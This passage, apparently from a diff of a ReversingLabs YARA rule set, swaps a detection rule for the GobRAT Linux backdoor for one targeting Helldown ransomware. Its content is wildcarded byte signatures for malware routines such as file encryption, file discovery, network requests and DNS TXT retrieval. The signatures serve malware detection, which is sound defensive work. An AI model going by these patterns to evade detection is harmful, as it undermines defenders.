?? ?? ?? ?? FF D0 83 EC ?? 89 45 ?? C7 44 24 ?? ?? ?? ?? ?? 8B 45 ?? 89 + 04 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 89 45 ?? 89 55 + ?? 83 7D ?? ?? 7F ?? 83 7D ?? ?? 78 ?? 83 7D ?? ?? 77 ?? C7 44 24 ?? ?? ?? ?? ?? 8B + 45 ?? 89 44 24 ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 8B 45 ?? 89 44 24 + ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? + 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? FF D0 C7 45 ?? ?? ?? ?? ?? DF 6D ?? + DD 5D ?? DD 45 ?? DD 05 ?? ?? ?? ?? DF E9 DD D8 76 ?? 8B 45 ?? 89 45 ?? EB ?? C7 45 + ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 89 45 ?? 83 + 7D ?? ?? 75 ?? 8B 45 ?? 89 44 24 ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC } - $perform_request = { - 05 6F ?? ?? ?? ?? 0A 06 04 3D ?? ?? ?? ?? 06 04 19 5B 18 5A 3F ?? ?? ?? ?? 05 16 06 - 19 5B 6F ?? ?? ?? ?? 0B 05 06 19 5B 06 19 5B 6F ?? ?? ?? ?? 0C 05 06 19 5B 18 5A 6F - ?? ?? ?? ?? 0D 02 07 28 ?? ?? ?? ?? 0B 02 08 28 ?? ?? ?? ?? 0C 02 09 28 ?? ?? ?? ?? - 0D 1F ?? 8D ?? ?? ?? ?? 13 ?? 11 ?? 16 03 A2 11 ?? 17 72 ?? ?? ?? ?? A2 11 ?? 18 07 - A2 11 ?? 19 72 ?? ?? ?? ?? A2 11 ?? 1A 08 A2 11 ?? 1B 72 ?? ?? ?? ?? A2 11 ?? 1C 09 - A2 11 ?? 1D 72 ?? ?? ?? ?? A2 11 ?? 1E 02 28 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? - ?? A2 11 ?? 1F ?? 02 7B ?? ?? ?? ?? A2 11 ?? 28 ?? ?? ?? ?? 10 ?? 38 ?? ?? ?? ?? 06 - 04 19 5B 18 5A 3D ?? ?? ?? ?? 06 04 19 5B 3F ?? ?? ?? ?? 05 16 06 18 5B 6F ?? ?? ?? - ?? 13 ?? 05 06 18 5B 6F ?? ?? ?? ?? 13 ?? 02 11 ?? 28 ?? ?? ?? ?? 13 ?? 02 11 ?? 28 - ?? ?? ?? ?? 13 ?? 1F ?? 8D ?? ?? ?? ?? 13 ?? 11 ?? 16 03 A2 11 ?? 17 72 ?? ?? ?? ?? - A2 11 ?? 18 11 ?? A2 11 ?? 19 72 ?? ?? ?? ?? A2 11 ?? 1A 11 ?? A2 11 ?? 1B 72 ?? ?? - ?? ?? A2 11 ?? 1C 02 28 ?? ?? ?? ?? A2 11 ?? 1D 72 ?? ?? ?? ?? A2 11 ?? 1E 02 7B ?? - ?? ?? ?? A2 11 ?? 28 ?? ?? ?? ?? 10 ?? 2B ?? 02 05 28 ?? ?? ?? ?? 13 ?? 1D 8D ?? ?? - ?? ?? 13 ?? 11 ?? 16 03 A2 11 ?? 17 72 ?? ?? ?? ?? A2 11 ?? 18 11 ?? A2 11 ?? 19 72 - ?? ?? ?? ?? A2 11 ?? 1A 02 28 ?? ?? ?? ?? A2 11 ?? 1B 72 ?? ?? ?? ?? A2 11 ?? 1C 02 - 7B ?? ?? ?? ?? A2 11 ?? 28 ?? ?? ?? ?? 10 ?? 05 2A + $encrypt_files_p2 = { + 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? FF + D0 C7 45 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? A1 ?? ?? ?? ?? FF D0 83 EC ?? 8B 15 ?? + ?? ?? ?? A1 ?? ?? ?? ?? 8D 4D ?? 89 4C 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 54 24 ?? C7 + 44 24 ?? ?? ?? ?? ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 85 C0 75 ?? C7 04 24 ?? + ?? ?? ?? A1 ?? ?? ?? ?? FF D0 83 EC ?? 8B 45 ?? 89 44 24 ?? 8B 45 ?? 89 04 24 A1 ?? + ?? ?? ?? FF D0 83 EC ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? + ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? FF D0 C7 04 24 ?? ?? ?? ?? A1 + ?? ?? ?? ?? FF D0 83 EC ?? C7 44 24 ?? ?? ?? ?? ?? 8B 45 ?? 89 44 24 ?? 8B 45 ?? 89 + 04 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 85 C0 75 ?? 8B 45 ?? 89 44 24 ?? 8B 45 ?? 89 04 + 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 8B + 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 + ?? ?? ?? ?? A1 ?? ?? ?? ?? FF D0 C7 44 24 ?? ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? + ?? ?? 89 45 ?? C7 44 24 ?? ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 89 45 ?? 83 + 7D ?? ?? 74 ?? 83 7D ?? ?? 0F 85 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8B 45 ?? 89 44 + 24 ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 8B 45 ?? 89 44 24 ?? 8B 45 } - $get_txt_record = { - 14 0A 03 73 ?? ?? ?? ?? 0B 07 6F ?? ?? ?? ?? 0C 7E ?? ?? ?? ?? 1F ?? 73 ?? ?? ?? ?? - 0D 09 08 08 8E 69 6F ?? ?? ?? ?? 26 09 6F ?? ?? ?? ?? 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? - 09 12 ?? 6F ?? ?? ?? ?? 13 ?? 09 6F ?? ?? ?? ?? 07 11 ?? 6F ?? ?? ?? ?? 07 6F ?? ?? - ?? ?? 13 ?? 28 ?? ?? ?? ?? 12 ?? 7B ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? DE ?? 26 72 ?? - ?? ?? ?? 13 ?? DE ?? 11 ?? 2A + $encrypt_files_p3 = { + 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC + ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 89 04 + 24 E8 ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? + A1 ?? ?? ?? ?? FF D0 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? + ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 45 ?? BA ?? ?? ?? ?? 39 55 ?? 7F ?? 39 55 ?? 7C ?? 39 + 45 ?? 77 ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 89 44 24 ?? 8B 45 ?? 89 44 24 ?? C7 44 24 + ?? ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 75 ?? 8B 45 ?? + 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 8B 55 ?? 89 54 24 ?? 8D 55 ?? 89 54 24 ?? 8B 55 ?? + 89 54 24 ?? C7 44 24 ?? ?? ?? ?? ?? 8B 55 ?? 89 54 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 + 04 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 8B 45 ?? 8B 55 ?? 89 54 24 ?? 89 44 24 ?? C7 44 + 24 ?? ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? BA ?? ?? ?? ?? 29 45 ?? + 19 55 ?? 83 7D ?? ?? 0F 8F ?? ?? ?? ?? 83 7D ?? ?? 78 ?? 83 7D ?? ?? 0F 87 ?? ?? ?? + ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 89 04 + 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 8B 45 ?? 89 44 24 ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? + ?? FF D0 83 EC ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? FF D0 } - $main_loop = { - 73 ?? ?? ?? ?? 80 ?? ?? ?? ?? 7E ?? ?? ?? ?? 7E ?? ?? ?? ?? 73 ?? ?? ?? ?? 80 ?? ?? - ?? ?? 73 ?? ?? ?? ?? 80 ?? ?? ?? ?? 7E ?? ?? ?? ?? 18 16 16 6F ?? ?? ?? ?? 0A 06 28 - ?? ?? ?? ?? 2D ?? 2A 7E ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? 2A 7E ?? ?? - ?? ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 0B 7E ?? ?? ?? ?? 7E ?? ?? ?? ?? 07 6F ?? ?? ?? - ?? 6F ?? ?? ?? ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 0C 12 ?? 7B ?? ?? ?? ?? 0D 12 ?? 7B - ?? ?? ?? ?? 13 ?? 72 ?? ?? ?? ?? 13 ?? 16 13 ?? 2B ?? 7E ?? ?? ?? ?? 19 11 ?? 11 ?? - 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 2D ?? 14 80 ?? ?? ?? ?? 2A 11 ?? 7E ?? ?? ?? ?? 28 ?? - ?? ?? ?? 13 ?? 7E ?? ?? ?? ?? 20 ?? ?? ?? ?? 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? 28 ?? ?? - ?? ?? 11 ?? 17 58 13 ?? 11 ?? 09 32 ?? 7E ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 0B 73 ?? - ?? ?? ?? 80 ?? ?? ?? ?? 7E ?? ?? ?? ?? 7E ?? ?? ?? ?? 07 6F ?? ?? ?? ?? 6F ?? ?? ?? - ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 0B 7E ?? ?? ?? ?? 07 - 17 6F ?? ?? ?? ?? 13 ?? 11 ?? 7E ?? ?? ?? ?? 1A 16 16 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? - 11 ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 DD ?? ?? ?? ?? 26 DE ?? 2A + $find_files_p1 = { + 55 89 E5 57 53 81 EC ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 83 C0 ?? C7 44 24 + ?? ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 75 ?? 8B 45 ?? 89 04 24 + E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? FF D0 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 89 44 + 24 ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? B9 ?? ?? ?? ?? 89 C2 B8 ?? ?? ?? ?? + 89 D7 F2 AE 89 C8 F7 D0 8D 50 ?? 8B 45 ?? 01 D0 C7 00 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? + 89 44 24 ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 89 45 ?? 83 7D ?? ?? 0F + 84 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 E0 ?? 85 C0 0F 84 ?? ?? ?? ?? 0F B6 95 ?? ?? ?? + ?? 0F B6 05 ?? ?? ?? ?? 0F B6 D2 0F B6 C0 29 C2 89 D0 85 C0 0F 84 ?? ?? ?? ?? C7 44 + 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 83 C0 ?? 89 04 24 E8 ?? + ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 83 C0 ?? + 89 04 24 E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8D 85 ?? ?? + ?? ?? 83 C0 ?? 89 04 24 E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 + E0 ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 89 C3 8D 85 ?? ?? ?? + ?? 83 C0 ?? 89 04 24 E8 ?? ?? ?? ?? 01 D8 83 C0 ?? C7 44 24 ?? ?? ?? ?? ?? 89 04 24 + } + $find_files_p2 = { + E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 8B 45 ?? 89 44 24 ?? 8B 45 ?? + 89 04 24 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 83 C0 ?? 89 44 24 ?? 8B 45 ?? 89 04 24 E8 + ?? ?? ?? ?? 8B 45 ?? B9 ?? ?? ?? ?? 89 C2 B8 ?? ?? ?? ?? 89 D7 F2 AE 89 C8 F7 D0 8D + 50 ?? 8B 45 ?? 01 D0 66 C7 00 ?? ?? A1 ?? ?? ?? ?? 8B 55 ?? 89 54 24 ?? 89 44 24 ?? + C7 04 24 ?? ?? ?? ?? A1 ?? ?? ?? ?? FF D0 E9 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8D + 85 ?? ?? ?? ?? 83 C0 ?? 89 04 24 E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? C7 44 24 ?? + ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 83 C0 ?? 89 04 24 E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? + ?? C7 44 24 ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 83 C0 ?? 89 04 24 E8 ?? ?? ?? ?? 85 C0 + 0F 84 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 83 C0 ?? 89 04 24 E8 ?? + ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 83 C0 + } + $find_files_p3 = { + 89 04 24 E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8D 85 ?? ?? + ?? ?? 83 C0 ?? 89 04 24 E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? + ?? 85 C0 0F 84 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 83 C0 ?? 89 04 + 24 E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? + ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 83 C0 ?? 89 04 24 E8 ?? ?? ?? ?? C7 + 44 24 ?? ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 45 ?? 89 04 + 24 E8 ?? ?? ?? ?? 89 C3 8D 85 ?? ?? ?? ?? 83 C0 ?? 89 04 24 E8 ?? ?? ?? ?? 01 D8 83 + C0 ?? C7 44 24 ?? ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 74 ?? 8B + 45 ?? 89 44 24 ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 83 C0 ?? 89 44 + 24 ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 55 ?? 89 54 24 ?? 89 44 24 + ?? C7 04 24 ?? ?? ?? ?? A1 ?? ?? ?? ?? FF D0 EB ?? 90 EB ?? 90 EB ?? 90 EB ?? 90 EB + ?? 90 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? + 85 C0 0F 85 ?? ?? ?? ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 8B 45 ?? 89 + 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? FF D0 } condition: - uint16( 0 ) == 0x5A4D and ( all of ( $unpack_response_p* ) ) and ( $upload ) and ( $perform_request ) and ( $get_txt_record ) and ( $main_loop ) + uint16( 0 ) == 0x5A4D and ( all of ( $enum_resources_p* ) ) and ( all of ( $find_files_p* ) ) and ( all of ( $encrypt_files_p* ) ) } -rule REVERSINGLABS_Linux_Backdoor_Gobrat : TC_DETECTION MALICIOUS MALWARE FILE +rule REVERSINGLABS_Linux_Ransomware_Helldown : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Yara rule that detects GobRAT backdoor." + description = "Yara rule that detects Helldown ransomware." author = "ReversingLabs" - id = "390bd83e-ac43-511a-b07b-3dc3d9890353" - date = "2025-03-27" - modified = "2025-03-27" + id = "aca11cf1-2d73-5599-8027-a52b9dcd4757" + date = "2025-01-20" + modified = "2025-01-20" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/backdoor/Linux.Backdoor.GobRAT.yara#L1-L168" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Linux.Ransomware.Helldown.yara#L1-L127" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "ce29568231a4103663f4b478de3210e00e14b14eda7781f05ecf0cf576fc5ad2" + logic_hash = "b5572f537c87d113886d79768cfe89e46c00063333de612a4547c9a80f5826e1" score = 75 quality = 90 tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" category = "MALWARE" - tc_detection_type = "Backdoor" - tc_detection_name = "GobRAT" + tc_detection_type = "Ransomware" + tc_detection_name = "Helldown" tc_detection_factor = 5 importance = 25 strings: - $get_local_address_p1 = { - 49 3B 66 ?? 0F 86 ?? ?? ?? ?? 48 83 C4 ?? 48 89 6C 24 ?? 48 8D 6C 24 ?? 48 83 3D ?? - ?? ?? ?? ?? 75 ?? E8 ?? ?? ?? ?? 48 85 FF 75 ?? 48 85 DB 74 ?? 48 89 5C 24 ?? 31 C9 - EB ?? 48 8B 05 ?? ?? ?? ?? 48 8B 3D ?? ?? ?? ?? 48 8B 1D ?? ?? ?? ?? 48 8B 35 ?? ?? - ?? ?? 48 8B 0D ?? ?? ?? ?? 4C 8B 05 ?? ?? ?? ?? 48 8B 6C 24 ?? 48 83 EC ?? C3 48 83 - C0 ?? 48 89 D1 48 8B 50 ?? 4C 8D 0D ?? ?? ?? ?? 4C 39 08 74 ?? BA ?? ?? ?? ?? 48 89 - 4C 24 ?? 48 89 44 24 ?? 48 89 54 24 ?? 74 ?? 31 F6 EB ?? 48 8B 02 48 8B 5A ?? 48 8B - 4A ?? E8 ?? ?? ?? ?? 84 C0 74 ?? 48 8B 44 24 ?? 48 8B 4C 24 ?? 48 8B 54 24 ?? 48 8B - 5C 24 ?? 4C 8D 0D ?? ?? ?? ?? 31 F6 EB ?? 48 8B 54 24 ?? 48 8B 02 48 8B 5A ?? 48 8B - 4A ?? E8 ?? ?? ?? ?? 83 F0 ?? 48 8B 4C 24 ?? 48 8B 54 24 ?? 48 8B 5C 24 ?? 4C 8D 0D - ?? ?? ?? ?? 89 C6 48 8B 44 24 ?? 40 84 F6 74 ?? 4C 8B 12 4C 8B 5A ?? 4C 8B 62 ?? 49 - 83 FB ?? 75 ?? 4C 89 D6 EB ?? 49 83 FB ?? 75 ?? 31 F6 E9 ?? ?? ?? ?? 48 8D 51 ?? 48 - 39 D3 0F 8F ?? ?? ?? ?? 0F 1F 40 ?? E9 ?? ?? ?? ?? 31 F6 48 85 F6 74 ?? 4C 89 D0 4C - 89 DB 4C 89 E1 E8 ?? ?? ?? ?? 48 8B 35 ?? ?? ?? ?? 48 8B 15 ?? ?? ?? ?? 48 8B 3D ?? - ?? ?? ?? 4C 8D 46 ?? 4C 39 C7 73 ?? 48 89 44 24 ?? 48 89 5C 24 ?? 48 8D 05 ?? ?? ?? - ?? 48 89 D3 48 89 F1 4C 89 C6 E8 ?? ?? ?? ?? 48 89 0D ?? ?? ?? ?? 83 3D ?? ?? ?? ?? - ?? 75 ?? 48 89 05 ?? ?? ?? ?? EB ?? 48 8D 3D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 C2 48 - } - $get_local_address_p2 = { - 89 DE 48 8B 44 24 ?? 48 8B 5C 24 ?? 4C 8D 46 ?? 4C 89 05 ?? ?? ?? ?? 48 C1 E6 ?? 48 - 89 5C 32 ?? 48 8D 3C 32 83 3D ?? ?? ?? ?? ?? 75 ?? 48 89 04 32 EB ?? E8 ?? ?? ?? ?? - 48 8B 54 24 ?? 48 8B 02 48 8B 5A ?? 48 8B 4A ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B - 35 ?? ?? ?? ?? 48 8D 56 ?? 48 8B 1D ?? ?? ?? ?? 48 8B 3D ?? ?? ?? ?? 48 39 D7 73 ?? - 89 44 24 ?? 48 8D 05 ?? ?? ?? ?? 48 89 F1 48 89 D6 E8 ?? ?? ?? ?? 48 89 0D ?? ?? ?? - ?? 83 3D ?? ?? ?? ?? ?? 75 ?? 48 89 05 ?? ?? ?? ?? EB ?? 48 8D 3D ?? ?? ?? ?? E8 ?? - ?? ?? ?? 48 89 DE 48 89 C3 8B 44 24 ?? 48 8D 56 ?? 48 89 15 ?? ?? ?? ?? 89 04 B3 48 - 8B 44 24 ?? 48 8B 4C 24 ?? 48 8B 5C 24 ?? 4C 8D 0D ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 FF - C6 48 83 FE ?? 7D ?? 45 0F B6 2C 32 45 84 ED 74 ?? E9 ?? ?? ?? ?? 41 80 7A ?? ?? 0F - 1F 44 00 ?? 0F 85 ?? ?? ?? ?? 41 80 7A ?? ?? 0F 85 ?? ?? ?? ?? 49 8D 72 - } - $get_mac_address_p1 = { - 4C 8D 64 24 ?? 4D 3B 66 ?? 0F 86 ?? ?? ?? ?? 48 81 EC ?? ?? ?? ?? 48 89 AC 24 ?? ?? - ?? ?? 48 8D AC 24 ?? ?? ?? ?? 48 83 3D ?? ?? ?? ?? ?? 75 ?? E8 ?? ?? ?? ?? 48 85 FF - 75 ?? 48 85 DB 74 ?? 48 89 5C 24 ?? 31 C9 EB ?? 31 C0 31 DB 48 8B AC 24 ?? ?? ?? ?? - 48 81 C4 ?? ?? ?? ?? C3 48 8B 05 ?? ?? ?? ?? 48 8B 1D ?? ?? ?? ?? 48 8B AC 24 ?? ?? - ?? ?? 48 81 C4 ?? ?? ?? ?? C3 48 83 C0 ?? 48 89 D1 0F 10 00 0F 11 84 24 ?? ?? ?? ?? - 0F 10 40 ?? 0F 11 84 24 ?? ?? ?? ?? 0F 10 40 ?? 0F 11 84 24 ?? ?? ?? ?? 0F 10 40 ?? - 0F 11 84 24 ?? ?? ?? ?? 48 8B 94 24 ?? ?? ?? ?? 48 8B B4 24 ?? ?? ?? ?? 48 85 D2 75 - ?? 31 D2 31 F6 EB ?? 48 89 4C 24 ?? 48 89 84 24 ?? ?? ?? ?? 48 89 54 24 ?? 48 89 B4 - 24 ?? ?? ?? ?? 48 8D 0C 52 48 8D 49 ?? 48 89 4C 24 ?? 48 8D 05 ?? ?? ?? ?? 31 DB 0F - 1F 44 00 ?? E8 ?? ?? ?? ?? 48 8B 54 24 ?? 48 8B B4 24 ?? ?? ?? ?? 48 8B 7C 24 ?? 31 - C9 31 DB EB ?? 48 89 D9 48 89 C3 31 C0 E8 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 89 DA 48 89 - C6 48 8B 84 24 ?? ?? ?? ?? 48 8B 5C 24 ?? 48 85 D2 0F 85 ?? ?? ?? ?? 48 8D 51 ?? 48 - 39 D3 0F 8F ?? ?? ?? ?? E9 ?? ?? ?? ?? 46 88 0C 10 48 FF C1 4C 89 C3 48 39 D1 7D ?? - 48 89 4C 24 ?? 44 0F B6 04 0E 44 88 44 24 ?? 0F 1F 44 00 ?? 48 85 C9 7E ?? 4C 8D 4B - ?? 4C 39 CF 73 ?? 48 89 5C 24 ?? 48 89 D9 4C 89 CE 48 89 C3 48 8D 05 ?? ?? ?? ?? E8 - ?? ?? ?? ?? 4C 8D 4B ?? 48 8B 54 24 ?? 48 8B 5C 24 ?? 48 8B B4 24 ?? ?? ?? ?? 44 0F + $find_files = { + 41 56 41 55 41 54 49 89 FC 55 53 0F 1F 44 00 ?? 49 8B 74 24 ?? 49 8B 3C 24 E8 ?? ?? + ?? ?? 48 85 C0 48 89 C5 0F 84 ?? ?? ?? ?? 48 8B 38 E8 ?? ?? ?? ?? 48 85 C0 48 89 C3 + 0F 84 ?? ?? ?? ?? 66 90 48 89 DF E8 ?? ?? ?? ?? 48 85 C0 49 89 C6 0F 84 ?? ?? ?? ?? + 0F B6 40 ?? 3C ?? 0F 84 ?? ?? ?? ?? 3C ?? 75 ?? 49 83 C6 ?? 4C 89 F7 E8 ?? ?? ?? ?? + 85 C0 74 ?? 48 8B 7D ?? E8 ?? ?? ?? ?? 4C 89 F7 49 89 C5 E8 ?? ?? ?? ?? 49 8D 7C 05 + ?? E8 ?? ?? ?? ?? 48 8B 75 ?? 49 89 C5 48 89 C7 E8 ?? ?? ?? ?? 4C 89 EF E8 ?? ?? ?? + ?? 4C 89 F6 4C 89 EF 66 41 C7 44 05 ?? ?? ?? E8 ?? ?? ?? ?? 4C 89 EF E8 ?? ?? ?? ?? + 4C 89 EF 49 89 C6 E8 ?? ?? ?? ?? 49 8B 54 24 ?? 49 8B 7C 24 ?? 48 89 C6 4C 89 70 ?? + E8 ?? ?? ?? ?? 49 8B 7C 24 ?? E8 ?? ?? ?? ?? 4D 85 ED 0F 84 ?? ?? ?? ?? 4C 89 EF E8 + ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? 48 85 C0 49 89 C6 0F 85 ?? ?? ?? ?? 0F 1F 40 ?? + 48 89 DF E8 ?? ?? ?? ?? 48 89 EF E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 0F 1F 00 41 80 7E ?? + ?? 0F 84 ?? ?? ?? ?? 48 8B 7D ?? 49 83 C6 ?? E8 ?? ?? ?? ?? 4C 89 F7 49 89 C5 E8 ?? + ?? ?? ?? 49 8D 7C 05 ?? E8 ?? ?? ?? ?? 48 8B 75 ?? 49 89 C5 48 89 C7 E8 ?? ?? ?? ?? + 4C 89 EF E8 ?? ?? ?? ?? 4C 89 F6 4C 89 EF 66 41 C7 44 05 ?? ?? ?? E8 ?? ?? ?? ?? 4C + 89 EF E8 ?? ?? ?? ?? 4D 85 ED 49 89 C6 74 ?? 4C 89 EF E8 ?? ?? ?? ?? 49 8B 54 24 ?? + 49 8B 3C 24 4C 89 F6 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 0F 1F 00 5B 5D 41 5C 41 5D 41 5E + C3 } - $get_mac_address_p2 = { - B6 44 24 ?? 48 89 CF 48 8B 4C 24 ?? C6 04 18 ?? EB ?? 49 89 D9 4D 8D 51 ?? 45 89 C3 - 41 C0 E8 ?? 45 0F B6 C0 4C 8D 25 ?? ?? ?? ?? 47 0F B6 04 04 4C 39 D7 73 ?? 44 88 44 - 24 ?? 4C 89 4C 24 ?? 48 89 C3 4C 89 C9 4C 89 D6 48 8D 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? - 4C 8D 53 ?? 48 8B 54 24 ?? 48 8B B4 24 ?? ?? ?? ?? 44 0F B6 44 24 ?? 4C 8B 4C 24 ?? - 44 0F B6 5C 24 ?? 4C 8D 25 ?? ?? ?? ?? 48 89 CF 48 8B 4C 24 ?? 46 88 04 08 4D 8D 42 - ?? 41 83 E3 ?? 47 0F B6 0C 23 4C 39 C7 0F 83 ?? ?? ?? ?? 4C 89 54 24 ?? 44 88 4C 24 - ?? 48 89 C3 4C 89 D1 4C 89 C6 48 8D 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C 8D 43 ?? 48 8B - 54 24 ?? 48 8B B4 24 ?? ?? ?? ?? 44 0F B6 4C 24 ?? 4C 8B 54 24 ?? 48 89 CF 48 8B 4C - 